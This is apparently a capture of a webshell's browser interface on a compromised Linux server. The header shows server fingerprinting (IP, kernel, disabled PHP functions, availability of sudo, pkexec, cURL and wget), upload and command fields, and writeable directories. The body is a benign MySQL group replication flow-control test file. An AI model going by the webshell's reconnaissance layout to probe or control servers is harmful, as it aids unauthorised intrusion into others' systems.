403Webshell
Server IP : 104.21.38.3  /  Your IP : 104.23.175.244
Web Server : Apache
System : Linux krdc-ubuntu-s-2vcpu-4gb-amd-blr1-01.localdomain 5.15.0-142-generic #152-Ubuntu SMP Mon May 19 10:54:31 UTC 2025 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/server/mysql/mysql-test/suite/group_replication/t/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/server/mysql/mysql-test/suite/group_replication/t/gr_flow_control_options.test
################################################################################
# Verify that group_replication_flow_control options do behave as expected.
# 1. Test group_replication_flow_control_mode option.
# 2. Test group_replication_flow_control_certifier_threshold
#    option.
# 3. Test group_replication_flow_control_applier_threshold
#    option.
# 4. Change all group_replication_flow_control options while
#    Group Replication is running.
# 5. Clean up.
################################################################################
--source ../inc/have_group_replication_plugin.inc
--let $rpl_skip_group_replication_start= 1
--source ../inc/group_replication.inc

SET @group_replication_flow_control_mode_save= @@GLOBAL.group_replication_flow_control_mode;
SET @group_replication_flow_control_certifier_threshold_save= @@GLOBAL.group_replication_flow_control_certifier_threshold;
SET @group_replication_flow_control_applier_threshold_save= @@GLOBAL.group_replication_flow_control_applier_threshold;


--echo
--echo ############################################################
--echo # 1. Test group_replication_flow_control_mode option.
# Invalid values
--error ER_WRONG_VALUE_FOR_VAR
SET GLOBAL group_replication_flow_control_mode= "";

--error ER_WRONG_VALUE_FOR_VAR
SET GLOBAL group_replication_flow_control_mode= "XXX";

--error ER_WRONG_VALUE_FOR_VAR
SET GLOBAL group_replication_flow_control_mode= -1;

--error ER_WRONG_VALUE_FOR_VAR
SET GLOBAL group_replication_flow_control_mode= 2;

# Valid values
SET GLOBAL group_replication_flow_control_mode= DISABLED;
--let $assert_text= group_replication_flow_control_mode is correct
--let $assert_cond= "[SELECT @@GLOBAL.group_replication_flow_control_mode]" = "DISABLED"
--source include/assert.inc

SET GLOBAL group_replication_flow_control_mode= QUOTA;
--let $assert_text= group_replication_flow_control_mode is correct
--let $assert_cond= "[SELECT @@GLOBAL.group_replication_flow_control_mode]" = "QUOTA"
--source include/assert.inc

SET GLOBAL group_replication_flow_control_mode= 0;
--let $assert_text= group_replication_flow_control_mode is correct
--let $assert_cond= "[SELECT @@GLOBAL.group_replication_flow_control_mode]" = "DISABLED"
--source include/assert.inc

SET GLOBAL group_replication_flow_control_mode= 1;
--let $assert_text= group_replication_flow_control_mode is correct
--let $assert_cond= "[SELECT @@GLOBAL.group_replication_flow_control_mode]" = "QUOTA"
--source include/assert.inc


--echo
--echo ############################################################
--echo # 2. Test group_replication_flow_control_certifier_threshold
--echo #    option.
# Invalid values
--error ER_WRONG_TYPE_FOR_VAR
SET GLOBAL group_replication_flow_control_certifier_threshold= "";

# Truncates values
SET GLOBAL group_replication_flow_control_certifier_threshold= -1;
--let $assert_text= group_replication_flow_control_certifier_threshold is truncated
--let $assert_cond= [SELECT @@GLOBAL.group_replication_flow_control_certifier_threshold] = 0
--source include/assert.inc

SET GLOBAL group_replication_flow_control_certifier_threshold= 2147483648;
--let $assert_text= group_replication_flow_control_certifier_threshold is truncated
--let $assert_cond= [SELECT @@GLOBAL.group_replication_flow_control_certifier_threshold] = 2147483647
--source include/assert.inc

# Valid values
SET GLOBAL group_replication_flow_control_certifier_threshold= 1;
--let $assert_text= group_replication_flow_control_certifier_threshold is correct
--let $assert_cond= [SELECT @@GLOBAL.group_replication_flow_control_certifier_threshold] = 1
--source include/assert.inc

SET GLOBAL group_replication_flow_control_certifier_threshold= 2147483647;
--let $assert_text= group_replication_flow_control_certifier_threshold is correct
--let $assert_cond= [SELECT @@GLOBAL.group_replication_flow_control_certifier_threshold] = 2147483647
--source include/assert.inc


--echo
--echo ############################################################
--echo # 3. Test group_replication_flow_control_applier_threshold
--echo #    option.
# Invalid values
--error ER_WRONG_TYPE_FOR_VAR
SET GLOBAL group_replication_flow_control_applier_threshold= "";

# Truncates values
SET GLOBAL group_replication_flow_control_applier_threshold= -1;
--let $assert_text= group_replication_flow_control_applier_threshold is truncated
--let $assert_cond= [SELECT @@GLOBAL.group_replication_flow_control_applier_threshold] = 0
--source include/assert.inc

SET GLOBAL group_replication_flow_control_applier_threshold= 2147483648;
--let $assert_text= group_replication_flow_control_applier_threshold is truncated
--let $assert_cond= [SELECT @@GLOBAL.group_replication_flow_control_applier_threshold] = 2147483647
--source include/assert.inc

# Valid values
SET GLOBAL group_replication_flow_control_applier_threshold= 1;
--let $assert_text= group_replication_flow_control_applier_threshold is correct
--let $assert_cond= [SELECT @@GLOBAL.group_replication_flow_control_applier_threshold] = 1
--source include/assert.inc

SET GLOBAL group_replication_flow_control_applier_threshold= 2147483647;
--let $assert_text= group_replication_flow_control_applier_threshold is correct
--let $assert_cond= [SELECT @@GLOBAL.group_replication_flow_control_applier_threshold] = 2147483647
--source include/assert.inc


--echo
--echo ############################################################
--echo # 4. Change all group_replication_flow_control options while
--echo #    Group Replication is running.
--source ../inc/start_and_bootstrap_group_replication.inc

SET GLOBAL group_replication_flow_control_mode= DISABLED;
--let $assert_text= group_replication_flow_control_mode is correct
--let $assert_cond= "[SELECT @@GLOBAL.group_replication_flow_control_mode]" = "DISABLED"
--source include/assert.inc

SET GLOBAL group_replication_flow_control_mode= QUOTA;
--let $assert_text= group_replication_flow_control_mode is correct
--let $assert_cond= "[SELECT @@GLOBAL.group_replication_flow_control_mode]" = "QUOTA"
--source include/assert.inc

SET GLOBAL group_replication_flow_control_certifier_threshold= 1000;
--let $assert_text= group_replication_flow_control_certifier_threshold is correct
--let $assert_cond= [SELECT @@GLOBAL.group_replication_flow_control_certifier_threshold] = 1000
--source include/assert.inc

SET GLOBAL group_replication_flow_control_applier_threshold= 1000;
--let $assert_text= group_replication_flow_control_applier_threshold is correct
--let $assert_cond= [SELECT @@GLOBAL.group_replication_flow_control_applier_threshold] = 1000
--source include/assert.inc


--echo
--echo ############################################################
--echo # 5. Clean up.
SET GLOBAL group_replication_flow_control_mode= @group_replication_flow_control_mode_save;
SET GLOBAL group_replication_flow_control_certifier_threshold= @group_replication_flow_control_certifier_threshold_save;
SET GLOBAL group_replication_flow_control_applier_threshold= @group_replication_flow_control_applier_threshold_save;

--source ../inc/group_replication_end.inc

Youez - 2016 - github.com/yon3zu
LinuXploit